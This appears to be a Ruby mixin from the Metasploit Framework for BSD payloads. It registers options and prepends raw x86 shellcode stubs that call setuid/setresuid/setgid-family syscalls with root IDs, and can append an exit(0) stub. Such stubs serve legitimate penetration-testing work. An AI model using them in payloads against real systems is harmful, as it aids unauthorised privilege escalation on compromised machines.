169 lines
5.8 KiB
Ruby
169 lines
5.8 KiB
Ruby
# -*- coding: binary -*-
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require 'msf/core'
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###
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#
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# This class is here to implement advanced features for bsd-based
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# payloads. BSD payloads are expected to include this module if
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# they want to support these features.
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#
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###
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module Msf::Payload::Bsd
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#
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# This mixin is chained within payloads that target the BSD platform.
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# It provides special prepends, to support things like chroot and setuid.
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#
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def initialize(info = {})
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ret = super(info)
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register_advanced_options(
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[
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Msf::OptBool.new('PrependSetresuid',
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[
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false,
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"Prepend a stub that executes the setresuid(0, 0, 0) system call",
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"false"
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]
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),
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Msf::OptBool.new('PrependSetreuid',
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[
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false,
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"Prepend a stub that executes the setreuid(0, 0) system call",
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"false"
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]
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),
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Msf::OptBool.new('PrependSetuid',
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[
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false,
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"Prepend a stub that executes the setuid(0) system call",
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"false"
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]
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),
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Msf::OptBool.new('PrependSetresgid',
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[
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false,
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"Prepend a stub that executes the setresgid(0, 0, 0) system call",
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"false"
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]
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),
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Msf::OptBool.new('PrependSetregid',
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[
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false,
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"Prepend a stub that executes the setregid(0, 0) system call",
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"false"
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]
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),
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Msf::OptBool.new('PrependSetgid',
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[
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false,
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"Prepend a stub that executes the setgid(0) system call",
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"false"
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]
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),
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Msf::OptBool.new('AppendExit',
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[
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false,
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"Append a stub that executes the exit(0) system call",
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"false"
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]
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),
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], Msf::Payload::Bsd)
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ret
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end
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#
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# Overload the generate() call to prefix our stubs
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#
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def generate(*args)
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# Call the real generator to get the payload
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buf = super(*args)
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pre = ''
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app = ''
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test_arch = [ *(self.arch) ]
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# Handle all x86 code here
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if (test_arch.include?(ARCH_X86))
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# Prepend
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if (datastore['PrependSetresuid'])
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# setresuid(0, 0, 0)
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pre << "\x31\xc0" +# xorl %eax,%eax #
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"\x50" +# pushl %eax #
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"\x50" +# pushl %eax #
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"\x50" +# pushl %eax #
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"\x50" +# pushl %eax #
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"\x66\xb8\x37\x01" +# movw $0x0137,%ax #
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"\xcd\x80" # int $0x80 #
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end
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if (datastore['PrependSetreuid'])
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# setreuid(0, 0)
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pre << "\x31\xc0" +# xorl %eax,%eax #
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"\x50" +# pushl %eax #
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"\x50" +# pushl %eax #
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"\x50" +# pushl %eax #
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"\xb0\x7e" +# movb $0x7e,%al #
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"\xcd\x80" # int $0x80 #
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end
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if (datastore['PrependSetuid'])
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# setuid(0)
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pre << "\x31\xc0" +# xorl %eax,%eax #
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"\x50" +# pushl %eax #
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"\x50" +# pushl %eax #
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"\xb0\x17" +# movb $0x17,%al #
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"\xcd\x80" # int $0x80 #
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end
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if (datastore['PrependSetresgid'])
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# setresgid(0, 0, 0)
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pre << "\x31\xc0" +# xorl %eax,%eax #
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"\x50" +# pushl %eax #
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"\x50" +# pushl %eax #
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"\x50" +# pushl %eax #
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"\x50" +# pushl %eax #
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"\x66\xb8\x38\x01" +# movw $0x0138,%ax #
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"\xcd\x80" # int $0x80 #
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end
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if (datastore['PrependSetregid'])
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# setregid(0, 0)
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pre << "\x31\xc0" +# xorl %eax,%eax #
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"\x50" +# pushl %eax #
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"\x50" +# pushl %eax #
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"\x50" +# pushl %eax #
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"\xb0\x7f" +# movb $0x7f,%al #
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"\xcd\x80" # int $0x80 #
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end
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if (datastore['PrependSetgid'])
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# setgid(0)
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pre << "\x31\xc0" +# xorl %eax,%eax #
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"\x50" +# pushl %eax #
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"\x50" +# pushl %eax #
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"\xb0\xb5" +# movb $0xb5,%al #
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"\xcd\x80" # int $0x80 #
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end
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# Append
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if (datastore['AppendExit'])
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# exit(0)
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app << "\x31\xc0" +# xorl %eax,%eax #
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"\x50" +# pushl %eax #
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"\xb0\x01" +# movb $0x01,%al #
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"\xcd\x80" # int $0x80 #
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end
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end
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return (pre + buf + app)
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end
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end
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